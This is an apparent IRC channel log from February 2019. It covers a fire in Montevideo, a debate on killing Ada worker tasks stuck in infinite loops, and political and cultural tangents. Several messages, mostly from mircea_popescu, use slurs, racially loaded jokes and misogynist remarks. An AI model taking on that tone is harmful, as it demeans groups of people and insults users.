apple that tastes like apple again' 1893625;1549588390;asciilifeform;see, they haven't found how to make a jonathan apple from anthracite just yet. Moar Studies Needed (tm)(r) 1893626;1549588506;mircea_popescu;a need to not fucking starve was identified, and the ministry of idle pomp and spurious circumstance has issued a raft of confetty with scribblings on them in this general direction! 1893627;1549588552;asciilifeform;in su there were always legends of d00d who keeps cow in city flat and feeds to it 'pravda' 1893628;1549588564;asciilifeform;but usg moar 'modern', goin' 'paperless' supposedly. 1893629;1549588567;asciilifeform;so won't work here. 1893630;1549588900;mircea_popescu;that's not even so much the problem, rather us unlike su very dedicated to feeding moron's vanity, consequently lots of http://btcbase.org/log/2019-02-07#1893406 sheer cheek. 1893631;1549588900;a111;Logged on 2019-02-07 18:20 mircea_popescu: meanwhile in the everlulz, Cisza 21F sub 3h "Don't you know what lesbian means? fuck you" LordMPofTMSR "Lmao. I should know, I'm sure I fucked more than you." 1893632;1549588942;mircea_popescu;famously, a hungarian was defined cca 1890s, as that species of moron who would rather eat soap wrapped in paper painted his coutnry's flag than french cheese in a plain wrapper. 1893633;1549588965;mircea_popescu;the ustard is that species of moron who imagines anything outside his shithole doesn't, properly speaking, exist. 1893634;1549588995;BingoBoingo;Blog post incoming, an Indula in one of the giant, ancient concrete human warehouses on the Rambla is engulfed in flame. Rest of the building looked ok. 1893635;1549589056;BingoBoingo;1 fire truck and 4 bombaderos on their motocicletas were on their way down the street when I finished my rubbernecking 1893636;1549589119;mircea_popescu;they have fire bicycles in uy ?! 1893637;1549589141;BingoBoingo;I did not see fat powered fire bikes 1893638;1549589163;BingoBoingo;Smell of burning chicom plastic carried a few blocks. Have a handful of usable pictures. 1893639;1549589241;BingoBoingo;The motos however did not get sirens, only the apparatus 1893640;1549591274;feedbot;http://bingology.net/2019/02/08/fire-in-montevideo/ << Bingology - BingoBoingo's Blog -- Fire In Montevideo 1893641;1549591284;BingoBoingo;Apparently I beat the local news to this too 1893642;1549596275;asciilifeform;BingoBoingo: wtf is even flammable in these. 1893643;1549597205;BingoBoingo;asciilifeform: The plastic grocery bags they hoard 1893644;1549597225;BingoBoingo;also apparently this unit had plastic window trim 1893645;1549597457;BingoBoingo;Also multi 10kg gas cylinders are popular for stoves 1893646;1549606697;feedbot;http://bimbo.club/2019/02/the-travel-guide/ << Bimbo.Club -- The travel guide 1893647;1549611357;diana_coman;asciilifeform, one could certainly keep at all times 64 worker threads idling and waiting for jobs; initially I had implemented it precisely as such: all it takes is to accept a Get_Job request only when there IS a job to hand out; it adds a bit of complexity in there though because there has to be a flag for "available job" and then it has to be kept up to date correctly (which can be a bit tricky as it's not only when a job is added, it' 1893648;1549611357;diana_coman;s also when a job is finished since the player id may be released or when/if a worker aborts unexpectedly ) 1893649;1549611406;diana_coman;re workers aborting unexpectedly: it shouldn't happen, no; but I can't rely on it not happening 1893650;1549611553;diana_coman;that being said, I'm not sure in fact that there is a need for the Initialize procedure itself if I'm to cut something out (it's enough to initialize the array when declaring it - although technically it will happen later than within initialize,it's still before anyone gets to use it so perfectly adequate) 1893651;1549611623;mircea_popescu;the problem is, since you can't guarantee workers staying up, you'll need a way to create them anyway. 1893652;1549611639;mircea_popescu;it is actually better to have a robust life.death cycle than to pretend like death ain't supposed to happen. 1893653;1549611642;diana_coman;re workers and specialisation: the worker tasks are not specialised, they do whatever job they are given and moreover the choice is made by job type as it were 1893654;1549611646;diana_coman;aha 1893655;1549611649;mircea_popescu;there's nothing to force you to kill them any more often than you benefit from anyway. 1893656;1549611689;diana_coman;in mircea_popescu's model/apache terminology the "workers" are in fact my jobs there: they get created , executed, finish 1893657;1549611749;diana_coman;I suspect asciilifeform's point was more along the lines: why kill them at all instead of letting them idle in there until something to do; not really "why do you bother having a way to create them?" 1893658;1549611760;mircea_popescu;what ? no, not at all. 1893659;1549611814;mircea_popescu;apache workers ain't jobs ; and i took alf's comments to mean "why are you killing them 9k times/s", which is in his usual style of random assumptive approach, nobody said they'd be killed often. 1893660;1549611880;diana_coman;if there's nothing for them to do, they get killed; but not sure what's the point in keeping them idling anyway; i.e. if it's busy then no, they don't get killed 1893661;1549611901;mircea_popescu;right. 1893662;1549611948;diana_coman;I'll probably need to find out exactly what the overhead for their creation is anyway 1893663;1549611962;mircea_popescu;i suspect you'll end up with them specialized, rather than case-switched, on acct of the overhead involved. however, time wil ltell 1893664;1549611982;diana_coman;overhead of the case-switched/ 1893665;1549611983;diana_coman;? 1893666;1549612014;diana_coman;from the job market's pov it's easier to have them not-specialised really 1893667;1549612026;mircea_popescu;yes. because ada entities keep getting wrapped in things that end up eating runtime to "elaborate" and whatever ion thios vein. 1893668;1549612034;mircea_popescu;that much is true. 1893669;1549612039;diana_coman;and the case-switch is done inside the worker so on their time at most 1893670;1549612062;diana_coman;hm, you mean the overhead at creating the job itself then (as that's the object that gets bigger to elaborate) 1893671;1549612068;mircea_popescu;every time you load one you have to load the whole pile of everything, for the whole case set. eventually (it stands to reason) you'll find it cheaper to specialize them. 1893672;1549612073;mircea_popescu;but really, no rush with this bikeshed. 1893673;1549612078;diana_coman;aha 1893674;1549634894;auctionbot;Buy order # 1037 has ENDED: No sale. Attn: BingoBoingo 1893675;1549635156;BingoBoingo;!Xbuy 308mn 24 1k Wired Filthy Fiats (WU esta bien) 1893676;1549635157;auctionbot;Buy order # 1038 created by BingoBoingo: 1k Wired Filthy Fiats (WU esta bien) Opening: 308mn ecu Ending: 2019-02-09 02:16:24.769899 UTC (23 hours) 1893677;1549635167;BingoBoingo;^ Auction take 2 1893678;1549635171;diana_coman;http://btcbase.org/log/2019-02-07#1893544 -> adding to this, on (re)^n -read of docs I doubt there's any benefit in having a controlled type in there; essentially the main thread will *wait* for all tasks spawned by the SJM to finish from what I understand; so then aborting them in a Finalize makes precisely 0 sense and instead I should probably make it a plain array and offer users of the package a non-synchronised procedure to abort them 1893679;1549635171;a111;Logged on 2019-02-07 23:56 asciilifeform: http://ossasepia.com/2019/02/07/seppuku-job-market-minimal-dynamic-tasking-in-ada/#selection-109.1672-109.1738 << will be interesting to see if this functions if stuffed into a static lib, in light of the http://btcbase.org/log/2019-01-22#1889467 puzzler 1893680;1549635171;diana_coman; if /when desired (i.e. at shutdown time, the sequence might be something along the lines send stop signal to sjm and then /after a while, if there is anything still running, call the abort) 1893681;1549635748;BingoBoingo;For the Unfairness files: Local media finally reporting last night's fire. What picture do they put above the fold? One lifted from wikipedo where fire wasn't. http://archive.is/2AVuL 1893682;1549636006;BingoBoingo;Though they did cover Uruguay's foreign minister pointing out the obvious: "Para Nin Novoa, Guaidó "es más ilegítimo" que Maduro" https://archive.is/fflqI 1893683;1549640704;asciilifeform;http://btcbase.org/log/2019-02-08#1893667 << this is mistake, and imho subtle and worth addressing , i wrote an illustration for mircea_popescu : http://p.bvulpes.com/pastes/TXKlj/?raw=true 1893684;1549640704;a111;Logged on 2019-02-08 07:47 mircea_popescu: yes. because ada entities keep getting wrapped in things that end up eating runtime to "elaborate" and whatever ion thios vein. 1893685;1549640715;deedbot;http://deedbot.org/bundle-562160.txt 1893686;1549640759;asciilifeform;in the pictured example, the only item that ends up loaded is the requested one. 1893687;1549641109;asciilifeform;i.e. http://btcbase.org/log/2019-02-08#1893671 specifically aint so. ( tho you ~still~ may want to specialize'em for ~different~ reason, if , say, it makes the proggy moar clear ) 1893688;1549641109;a111;Logged on 2019-02-08 07:47 mircea_popescu: every time you load one you have to load the whole pile of everything, for the whole case set. eventually (it stands to reason) you'll find it cheaper to specialize them. 1893689;1549641161;asciilifeform;http://btcbase.org/log/2019-02-08#1893662 << as i currently understand, it will be whatever the pthread overhead is on the given linux 1893690;1549641161;a111;Logged on 2019-02-08 07:45 diana_coman: I'll probably need to find out exactly what the overhead for their creation is anyway 1893691;1549642515;deedbot;http://deedbot.org/bundle-562164.txt 1893692;1549642763;mircea_popescu;well, we see when it gets there. 1893693;1549643028;mircea_popescu;BingoBoingo so send them emails / drop by offices in person, "hey, look!" 1893694;1549643124;BingoBoingo;I may have to. May also have to stop by the Bomberos, but that probably involves a lot of union wank. 1893695;1549643141;mircea_popescu;http://btcbase.org/log/2019-02-08#1893686 << oh is that so ? 1893696;1549643141;a111;Logged on 2019-02-08 15:45 asciilifeform: in the pictured example, the only item that ends up loaded is the requested one. 1893697;1549643144;mircea_popescu;nifty at that. 1893698;1549643157;mircea_popescu;BingoBoingo nevermind the bomberos, and fi you're going to do it at all do it today. 1893699;1549643201;diana_coman;hm, in possibly interesting ada-bits: apparently "abort" for tasks does not really kill them if /when they are in an infinite loop; according to ada docs I got the idea of "abort-deferred" i.e. in some states it won't abort but "infinite loop or waiting for a procedure call to return" did not seem to figure there; in practical terms this means that my workers will have to attempt any Job in a guarded manner i.e. give up on it after some ma 1893700;1549643201;diana_coman;ximum set time, so that they can guarantee that they will NEVER block no matter what 1893701;1549643224;diana_coman;(since if they block, they also block the whole thing that is stuck waiting on them and can't kill them even) 1893702;1549643283;mircea_popescu;diana_coman imo you'd rather have them work not in a guarded maner but in an acid-ish manner, and kill them after a set time established administratively. 1893703;1549643307;diana_coman;but I can't kill them if they are looping!! 1893704;1549643312;diana_coman;that's exactly my point above 1893705;1549643317;mircea_popescu;you can not kill them AT ALL no matter what ? 1893706;1549643329;diana_coman;not while they are in an infinite loop it seems 1893707;1549643337;diana_coman;will look at it some more and bbl 1893708;1549643341;mircea_popescu;this is fucking ridiculous, you can't have a language like that. 1893709;1549643424;BingoBoingo;mircea_popescu: I'll shoot em an email today. Their office is out in the sticks near the Palacio Legislativo. Long walk for a below the fold story. 1893710;1549643433;mircea_popescu;BingoBoingo it might tickle you to find that while the mountain lion (aka, puma) is a species of "least concern" (ie, in the pantsuit designator of animal concern trolling, they figure as "excluded") nevertheless the pantsuit comfortably living off other people's income in and around los angeles are "advising" "the town" on how to "improve genetic diversity" in the "fragmented" populations. 1893711;1549643482;mircea_popescu;you see, highways are impassable WALLS for the lions ; and because "genetic diversity" is the summum bonum for late-roosevelt pantsuits, it then follows there must be "land bridges" erected so african immigrant lions can come into the suburban lions' house an' cuck 'em. 1893712;1549643500;BingoBoingo;Lol 1893713;1549643519;mircea_popescu;at least they're systematic in their retardedness. 1893714;1549643565;BingoBoingo;Team puma is also down a young male after it aggressed against a jogger and got choked out this week. Not really qntra, but in the files for blogfodder. 1893715;1549643600;mircea_popescu;how can anyone be "down a young male" ? that's what the fuck they're for, i'm not "down six boxes" because i got six boxes on atm. 1893716;1549643663;BingoBoingo;They are "down a young male" in the same way Baltimore or Ferguson profess to be before they ritually burn so the big drug drop can make it in 1893717;1549643748;mircea_popescu;yeah, say, i was watching some oliver stone flicks (as part of an aborted integral, jesus that guy sucks, and the 70s suck with him) and in one of them lester (of cucking de niro in casino fame) was a very poor reporter going to san salvador to report on the 1970s maduro thing there (which btw -- last i heard still ongoing). 1893718;1549643749;BingoBoingo;"Asshole jogger teased its diverse prey seeking drive, then choked the poor kitty after baiting it" 1893719;1549643775;mircea_popescu;1970s us poverty very much correctly and convincingly depicted, and then when running into latino poverty, he excalims "shit, this is like baltimore or something" 1893720;1549643797;mircea_popescu;so now, considering this 1970-2020 fiddy year bridge -- how is baltimore ? did the black preachers turn it into a garden yet ? 1893721;1549643928;BingoBoingo;How unfair the Uruguayos managed to produce a second city center in their capital during the interval. 1893722;1549644047;*;BingoBoingo rereading http://trilema.com/2012/the-stockexchange-shareholders-on-welfare/ 4 and a half years later 1893723;1549644373;mircea_popescu;you mean seven 1893724;1549644769;asciilifeform;http://btcbase.org/log/2019-02-08#1893711 << iirc it was seriously usg.considered to introduce proper, african lion to 'midwest' usa 1893725;1549644769;a111;Logged on 2019-02-08 16:31 mircea_popescu: you see, highways are impassable WALLS for the lions ; and because "genetic diversity" is the summum bonum for late-roosevelt pantsuits, it then follows there must be "land bridges" erected so african immigrant lions can come into the suburban lions' house an' cuck 'em. 1893726;1549644774;asciilifeform;wonder what happened to that. 1893727;1549644784;BingoBoingo;mircea_popescu: Right you are, nearly a decade 1893728;1549644802;mircea_popescu;asciilifeform prolly died out. 1893729;1549644813;mircea_popescu;lion can't take frost, gets pneumonia and dies. 1893730;1549644822;asciilifeform;either that or choked on the mcfat. 1893731;1549644851;mircea_popescu;one way to think of species is in terms of morphology, classify-by-what-it-looks-like. 1893732;1549644873;mircea_popescu;this was fashionable in the 1800s, but to my eye today, better way to think of species is in terms of immune system protein trees. 1893733;1549644880;mircea_popescu;classified by what-cocci-get-it 1893734;1549644923;mircea_popescu;large cats are very vulnerable to common pneumococcus, whioch makes one wonder whether it being "the cow disease" in humans is merely coincidence 1893735;1549644930;mircea_popescu;or whether the cows carry it as defense miasma. 1893736;1549644966;asciilifeform;could easily; no reason why this kinda thing gotta be limited to plant kingdom 1893737;1549644973;mircea_popescu;of course, education, esp common trunk education, dun include anything as modern as support for this non-1800s approach. 1893738;1549644976;mircea_popescu;but it's still there. 1893739;1549645050;asciilifeform;http://btcbase.org/log/2019-02-08#1893706 << consider this gedankenexperiment: say you have an infinite loop, incrementing a variable N. at some point you asynchronously kill it. what is N then ? 1893740;1549645050;a111;Logged on 2019-02-08 16:28 diana_coman: not while they are in an infinite loop it seems 1893741;1549645059;mircea_popescu;undefined. 1893742;1549645062;asciilifeform;correct 1893743;1549645074;asciilifeform;and why wouldja want undefines in your proggy ? 1893744;1549645112;mircea_popescu;it's not in my proggy anymore, i stopped it. 1893745;1549645117;asciilifeform;the appeal of asynchronous killing is an artifact of http://btcbase.org/log/2019-02-04#1892449 1893746;1549645117;a111;Logged on 2019-02-04 22:12 mircea_popescu: equiring more perl -- the perl programmer who veers off the road into the forest will get out of his car and cut down each and every tree that blocks his progress, then drive a few meters and repeat the whole process. whether he gets where he wanted to go or not is immaterial -- a perl programmer will happily keep moving forward and look busy. getting a perl programmer back on the road is a managerial responsibility, and it 1893747;1549645144;mircea_popescu;no dude, the appeal of "do what i tell you to do" is an artefact of the republic even existing in the first place. 1893748;1549645155;mircea_popescu;moreover, it's quite evident WHENCE it came in this discussion : we have some problems to solve. 1893749;1549645157;asciilifeform;mircea_popescu: if you permit asynchronous killing of thread, ~any~ part of your proggy could conceivably end up as that N, you have nfi what that thing was doing when you shot it 1893750;1549645174;mircea_popescu;so ? 1893751;1549645200;asciilifeform;so it's same 'so' as 'hey i'll follow a dangling pointer if i damn well please, so' 1893752;1549645216;mircea_popescu;yes, and if i have a gun in the house "anyone could in principle end up pointed at with it". wtf is this, pantsuit hour ? 1893753;1549645241;asciilifeform;in this case the thing is loaded, cocked, and pointing at yer foot. 1893754;1549645257;mircea_popescu;if someone shuts down some procedure i didn't want shut down, i'll find them and kill them. and meanwhile, i can't have gord eating my sandwiches as a 28 yo "man". 1893755;1549645296;asciilifeform;mircea_popescu: the q is why you even ~have~ a wedgedeable -- i.e. having to be async-killed -- subprocess in yer proggy. 1893756;1549645308;mircea_popescu;the only correct solution to "this program has spawned something it can't kill" is "kill the program then". 1893757;1549645330;mircea_popescu;asciilifeform no, that's not the fucking question. the question is i don't have a wedgeable, and "somehow" the shit dun die when i say. 1893758;1549645345;asciilifeform;this is entirely correct, if you have a wedgeable subprocess in a correctly-written proggy, there is a catastrophic mistake and time to switch whole thing off and find where. 1893759;1549645354;asciilifeform;( could be dead iron, say ) 1893760;1549645366;mircea_popescu;the only possible basis for society, human as well as computer, is "all sons live exactly as long as father permits them, and no longer." 1893761;1549645377;mircea_popescu;if i can't kill threads any time i want, I WILL NEVER SPAWN ANY. 1893762;1549645382;asciilifeform;mircea_popescu: you accomplish this by giving the subs a termination condition 1893763;1549645395;asciilifeform;rather than letting'em infinite-loop and having to async-kill'em 1893764;1549645412;mircea_popescu;this is besides the point. my power to kill any thing at any time shall not be infringed. 1893765;1549645420;mircea_popescu;there's no "the way to do that". 1893766;1549645427;mircea_popescu;i will kill ANY THING at ANY TIME. 1893767;1549645436;asciilifeform;the mains switch is right there lol 1893768;1549645459;mircea_popescu;if ada does not manage to provide me with all the tools i need to the exclusion of the power switch, i will ditch ada and move on to programming in power switches. 1893769;1549645477;mircea_popescu;there can not be such a thing as a language that infringes the father's priviledge. 1893770;1549645483;mircea_popescu;it's not a language, it's a wankpile. 1893771;1549645550;mircea_popescu;fucking reason i even moved off windows was when i discovered that unlike dos, it does not support this. 1893772;1549645553;mircea_popescu;that was all it took. 1893773;1549645584;asciilifeform;pretty sure you can get at the underlying pthread and term it, if you gotta. just like you can get at raw c ptrs , as illustrated in e.g. http://btcbase.org/patches/udp_genesis . my observation aint 'shuddyp and suck, lang tied yer hands for yer own good' but 'if your proggy is actually correct, you won't find yerself ~having~ to individually scalpel out threads' 1893774;1549645610;mircea_popescu;so then i'm guessing if indeed this problem is encountered thing should just die altogether. 1893775;1549645627;asciilifeform;aha, imho it's a 'yer iron is on fire' condition. 1893776;1549645887;asciilifeform;to run with mircea_popescu's analogy, you want to birth the sons such that they go, when ordered, to the seppuku room, lay down the white sheet, and carefully dump out their guts into the provided pot; rather than having to chop'em up in yer living room, where they'll shit selves, thrash around breaking the fine china, and make whatever other mess. 1893777;1549645904;mircea_popescu;i can buy that. 1893778;1549646155;*;asciilifeform actually grasps mircea_popescu's pov quite well, after coupla decades with broken soft that does 'whatever it feels like', one starts thinking of 'i want control' in the sense of 'all i want is a big enuff spiked club to smash it all with'. but if you ~actually have~ proper control, cuz you wrote a correct proggy, then what you really want is 'feldmarschall's baton', not club. 1893779;1549646216;mircea_popescu;all things rest on the fundamental "do what i say or i'll fucking kill you". 1893780;1549646279;asciilifeform;rright but with the implicit 'and after kill you, will get new one, who does what was told' 1893781;1549646295;asciilifeform;otherwise yer running abbatoir, with cows, rather than army. 1893782;1549646364;mircea_popescu;i can buy that. 1893783;1549646465;mircea_popescu;and ftr, it's not "coupla decades with broken soft". it's coupla decades interacting socially with the women and children "of" inept http://bimbo.club/2019/02/the-travel-guide/ dorks, so that i'm stuck lowering my backseat window and screaming "does she ever get laid ?!" to mother-daughter couple sutured at the palm-elbow joint. 1893784;1549646561;asciilifeform;that also a broken soft of a kind. 1893785;1549646795;mircea_popescu;yes, of the kind in http://ossasepia.com/2011/01/29/antreprenorii-si-misticismul/#selection-37.0-37.548 and in http://trilema.com/2010/aventurile-zilei/#selection-49.0-49.1103 and more generally http://trilema.com/2017/the-day-of-failure-trilemma/#selection-133.0-133.837 1893786;1549647127;asciilifeform;btw in re http://btcbase.org/log/2019-02-08#1893771 , ye olde dos, for all of its virtues, is possibly worst example, when you run yer proggy there, os loses all control, you may as well have booted straight into yer proggy without any os 1893787;1549647127;a111;Logged on 2019-02-08 17:05 mircea_popescu: fucking reason i even moved off windows was when i discovered that unlike dos, it does not support this. 1893788;1549647173;mircea_popescu;power button worked well enough. 1893789;1549647192;asciilifeform;aha, erry dos box i ever owned, i truly 'programmed with the mains switch' 1893790;1549647198;mircea_popescu;see ? 1893791;1549647215;asciilifeform;( to the point that the sov pc clone 'iskra', 1st comp i ever laid hands on, actually had a cpu reset key ~on kbd~ , nice big red thing ) 1893792;1549647344;asciilifeform;it's a bitch tho, what you really want is to lose the wedge, rather than errything you keyed in the past xx min. hence asciilifeform's elaboration of the principle in http://www.loper-os.org/?p=215 . 1893793;1549647452;mircea_popescu;i'm not against a kernel that a) never itself crashes and b) always kills anything i want FOR me, and elegantly. 1893794;1549647461;mircea_popescu;but i will not stand for this "can't kill my baby" nonsense. 1893795;1549647465;asciilifeform;https://archive.is/mOXQE << for thread-completeness. iskra kbd. the magic 'anykey' is on upper left hand. 1893796;1549647592;asciilifeform;for extra lulz, asciilifeform's brother introduced the red button to him as 'эникей' , and for yrs later thought this, 'ha, programmers sadistically exhort green n00b to reset cpu' 1893797;1549647677;mircea_popescu;they do. 1893798;1549647704;asciilifeform;used to , at least. 1893799;1549647736;asciilifeform;afaik what passes for comp nowadays ( where 'it dun fit on the pnoje screen!!11' ) often dun even ~have~ a reset. 1893800;1549647916;BingoBoingo;And, escooters are here https://www.montevideo.com.uy/Noticias/Monopatines-compartidos-acaban-de-llegar-y-ya-se-vende-uno-robado-uc709584 1893801;1549647932;*;mircea_popescu still recalls discussion in the heart of what later became one of romania's largest isps, when sold to i udn recall who : five dudes each with large-ish ad hoc networks (i suspect you recall those) were talking about pooling, and they needed what in the civilised world is a peering noc, and it was discussed what items to buy 1893802;1549647947;mircea_popescu;and i said "why would you buy these small shits, they don't even have a reset button" 1893803;1549647970;mircea_popescu;the pov prevailed, and their early ad-hoc "dc" in a sovok flat room somewhere contained proper boxed desktops instead of server racks. 1893804;1549649503;diana_coman;http://btcbase.org/log/2019-02-08#1893756 -> this makes in fact a lot of sense esp given asciilifeform's observation that indeed, that's an unrecoverable error state; so this sounds good: if child task doesn't die when aborted then kill self (taking the task with self too ofc); I'll experiment with this but afaik so far it should work 1893805;1549649503;a111;Logged on 2019-02-08 17:01 mircea_popescu: the only correct solution to "this program has spawned something it can't kill" is "kill the program then". 1893806;1549649537;diana_coman;and to clarify just in case there was any doubt: NO, workers are not meant to loop for ever or any such nonsense; BUT I still can't assume that can not happen! 1893807;1549649572;mircea_popescu;they have a whole signalling thing in ada, so you don't have to do the retarded c infinite loop 1893808;1549649611;diana_coman;sure, as the code shows there is no infinite loop anyway yes; workers will wait on Get_Job and that's pretty much 1893809;1549649618;mircea_popescu;aha. 1893810;1549649679;diana_coman;but the whole thing here was more about what completing the job means - which so far is not defined and at any rate it's defined with the Job, not with the worker as it were; anyway, I stumbled on this just as part of usual "poke new things around in all directions" 1893811;1549650150;asciilifeform;incidentally, before $thread is forgotten, oughta add that unix's model of process-killin' is a convincing illusion, but not the Real Thing, given e.g. http://btcbase.org/log/2018-07-31#1838388 1893812;1549650150;a111;Logged on 2018-07-31 16:15 asciilifeform: unix i/o is retarded, if blocking read blocks, it gives you a zombie process , and the next process you start that tried to read same tty, will also become zombie 1893813;1549650208;asciilifeform;i.e. even ~there~ you dun have the desired 'thread could have been doing anyffin at all, but can cleanly async-term it' . 1893814;1549650269;asciilifeform;http://btcbase.org/log/2019-02-08#1893803 << i was reading this and waiting for the inevitable 'and then one day elbow' but apparently nodice 1893815;1549650269;a111;Logged on 2019-02-08 17:46 mircea_popescu: the pov prevailed, and their early ad-hoc "dc" in a sovok flat room somewhere contained proper boxed desktops instead of server racks. 1893816;1549650310;mircea_popescu;nah, they sold out, became https://en.wikipedia.org/wiki/UPC_Romania 1893817;1549650330;mircea_popescu;prior to that, "astral telecom" 1893818;1549650341;asciilifeform;incidentally virtually all the cages in BingoBoingo's magic cellar contain 1 or moar (old enuff to show yellowing...) desktops/towers 1893819;1549650374;BingoBoingo;The split is more cages without any desktops and cages that are all desktops. 1893820;1549650396;asciilifeform;i admit i did not exhaustively peek in each 1893821;1549650454;mircea_popescu;ugc-europe / "liberty global" being this sorta economic warfare support wing, back in the 90s when they still had a clue re http://btcbase.org/log/2014-03-25#581083 1893822;1549650454;a111;Logged on 2014-03-25 20:52 mircea_popescu: same thing had the us the ballsack to make iraq the 51st state 1893823;1549650604;mircea_popescu;"In May 2011, UPC launched for the first time the 3D technology, which changed the TV program viewing modality." 1893824;1549650607;mircea_popescu;this shit's so lulzy. 1893825;1549650629;asciilifeform;http://btcbase.org/log/2019-02-08#1893807 << the 1 concern there is blocking unix i/o calls, these can potentially wedge ( if not wrapped with appropriate timeout ) 1893826;1549650629;a111;Logged on 2019-02-08 18:12 mircea_popescu: they have a whole signalling thing in ada, so you don't have to do the retarded c infinite loop 1893827;1549650676;asciilifeform;ideally you wouldn't even i/o from a worker thread, imho, only main prog would i/o. 1893828;1549650739;asciilifeform;( in re the q of how to keep thread from wedging ~each other~, consult dijkstra, not asciilifeform ) 1893829;1549650860;asciilifeform;mircea_popescu: lol! even in ro, '3d tv' ?! 1893830;1549650880;asciilifeform;'smellovision' when. 1893831;1549650901;mircea_popescu;eh, the divergence between what they put in their reports to shareholders and what's going on irl is aptly summarized by that "which changed the TV program viewing modality" wooden tongue explosion. 1893832;1549650931;mircea_popescu;severina pascu evidently had a lot of wrist wringing / re-did the translation 18 times until such gem was polished into its current greatness. 1893833;1549650998;mircea_popescu;(the usgistani model, where "career women" and "corporate life" and what the fuck is ~particularly~ amusing in romania, where the difference between this, http://gothtypes.wikia.com/wiki/Emo_Goth and the lengthy history of male receptive homosexuality social expression can simply not be made. 1893834;1549651024;mircea_popescu;notwithstanding it distinguishes among things like http://btcbase.org/log/2019-02-07#1893496 is native and automatic. 1893835;1549651024;a111;Logged on 2019-02-07 20:05 mircea_popescu: romanians imply various subtle distinction. eg, "gargaun" would be the sort of skittering beetle that digs unseen and ruins structures, like termite or weevil (the folk name of which, "gargarita", very much model for name) 1893836;1549651038;mircea_popescu;but they simply never found the linguistic resources (yes, that's a pun.) 1893837;1549651190;mircea_popescu;actually, thinking about it : there was a hysterical poster of 1990s vintage, produced of romanians mocking the blown away reaction of ameritards on contact with romanian workplace mat. because yes, in ro the way to discuss the boss among workers is "that cocksucker", and the customers are very much "those insufferable morons" and so following. but in usg, the manner to address systematic problems is trhough minutia, and so i 1893838;1549651190;mircea_popescu;t went, "dear employees, please do not refer to the hr vp as 'nefututa aia'" and so following to exhaustion. 1893839;1549651202;mircea_popescu;sadly i can't seem to locate it anymore. the things you end up missing ;/ 1893840;1549651252;mircea_popescu;pity the internet wasn't invented by romanians, it'd have racial resistance to trolling built in by default. 1893841;1549651523;mircea_popescu;and for completness, let us archive https://www.apropotv.ro/showbiz/-in-anii-90-era-una-dintre-cele-mai-frumoase-femei-din-romania-vezi-cat-de-schimbata-e-acum--13807822-articol 1893842;1549651580;asciilifeform;ugh wat happened there ? they built a mcd and she took up eating in it ? 1893843;1549651588;mircea_popescu;(i know it sounds ridoinculous, but obscure starlet took job to do some show or other in ro and as a result ended up hounded by ~all males, including the "finance minister" (a "technocratic expert" bla bla etcetera), the star soccer player, the star tennis player / chief bisnitar etc. 1893844;1549651613;mircea_popescu;asciilifeform what happened, http://trilema.com/2009/problema-cu-casatoria/ happened. chick got married. 1893845;1549651660;asciilifeform;aa 1893846;1549651676;mircea_popescu;nobody even fucking knows such a thing as "laura stone" even existed, except for romanians old enough to recall the 90s. 1893847;1549651760;asciilifeform;not many folx remember old champ tennisist either 1893848;1549652049;*;asciilifeform wonders whether e.g. that microshit compound in bucharest, is run along http://btcbase.org/log/2019-02-08#1893837 trad, or ustard.conventionally 1893849;1549652049;a111;Logged on 2019-02-08 18:39 mircea_popescu: actually, thinking about it : there was a hysterical poster of 1990s vintage, produced of romanians mocking the blown away reaction of ameritards on contact with romanian workplace mat. because yes, in ro the way to discuss the boss among workers is "that cocksucker", and the customers are very much "those insufferable morons" and so following. but in usg, the manner to address systematic problems is trhough minutia, and so i 1893850;1549652209;mircea_popescu;ilie nastase ? dood was supposed to be "rich businessman" in a romania that had very much the "luxor center for businessmen" outlook, owing to a complete and utter http://trilema.com/2009/de-mogulibus/#selection-57.0-65.473 , before http://trilema.com/2010/s-o-lamurim-pe-asta-cu-securitatea/#selection-53.0-53.694 1893851;1549652237;mircea_popescu;ie, he ran off, made some dough ($100 was an immense sum in a country where yearly incomes averaged $50) 1893852;1549652254;asciilifeform;was this that very same 'varanul' ? or lesser clone ? 1893853;1549652261;mircea_popescu;diana_coman do you happen to recall / still have that poster ? 1893854;1549652302;mircea_popescu;asciilifeform nah, entirely different item. this is more http://trilema.com/2014/lets-do-mark-cuban/ 1893855;1549652322;asciilifeform;aa, the kind that runs off with 'investor'olade , rather than public coffer 1893856;1549652351;mircea_popescu;ie, athlete/lottery winner being convinced by entourage that "he has something to say" in the http://trilema.com/2018/yes-bitch-i-would-bring-it/ vein of world-establishing saying, 1893857;1549652381;mircea_popescu;nah, rather, "winner" of tournament thingee, now stuck pretending like he's a sorta king sui generis. 1893858;1549653078;mircea_popescu;http://btcbase.org/log/2019-02-08#1893832 << might as well mock linkedin's "protections", neh. https://media.licdn.com/dms/image/C4E03AQFpUoy6Vdur9Q/profile-displayphoto-shrink_800_800/0?e=1554940800&v=beta&t=ucyjKOxSqYUjgPSTsLkHvOUZlH3ErYItoPcikRklugc << 1893859;1549653078;a111;Logged on 2019-02-08 18:35 mircea_popescu: severina pascu evidently had a lot of wrist wringing / re-did the translation 18 times until such gem was polished into its current greatness. 1893860;1549653375;mircea_popescu;asciilifeform incidentally, you might enjoy http://trilema.com/2012/pasunismul-noua-religie-a-lumii-prostilor/ from back when mp mostly wrote about orc amateurism. very male flavour, same fizz. 1893861;1549653570;asciilifeform;oh neato, ty, i'll eat 1893862;1549654457;asciilifeform;mircea_popescu: this reads like ye olde (imho great, btw) guide to perpetuum-mobile aficionados 1893863;1549654468;asciilifeform;( i dun recall whether was on trilema, or older, elsewhere ) 1893864;1549654482;asciilifeform;was a kind of taxonomy of dodges/'fatlogic' gymnastics 1893865;1549654482;mircea_popescu;how did it go ? 1893866;1549654498;mircea_popescu;possibru not on trilema 1893867;1549654504;asciilifeform;wish i could dredge up the orig. but from memory it had a 'resists formalization' definitely 1893868;1549654520;asciilifeform;'won't commit to writing down an equation for love or money' 1893869;1549654533;asciilifeform;'identifies similars as idempotents' 1893870;1549654536;asciilifeform;buncha these. 1893871;1549654593;asciilifeform;and hrm where was that three-cycle engine thread. 1893872;1549654681;mircea_popescu;may be schwartz ? but as a bonus : http://trilema.com/2010/voi-nu-meritati-respect/#selection-41.0-41.597 hory shit, 100% costa rica's heredia-alajuela axis! 1893873;1549654785;asciilifeform;mircea_popescu: possibly was schwartz. had also a great point where 'crackpot will find how to take the 'proof' to where its demolition requires ever slightly moar advanced grasp of subj than he is able to muster' 1893874;1549654838;asciilifeform;( arguably a variant of http://btcbase.org/log/2017-07-18#1686299 thinking ) 1893875;1549654838;a111;Logged on 2017-07-18 22:58 asciilifeform: whaack is quite likely thinking of the bulk of the b00k, which consists of blockcipher liquishit which is complicated for no reason at all other than the 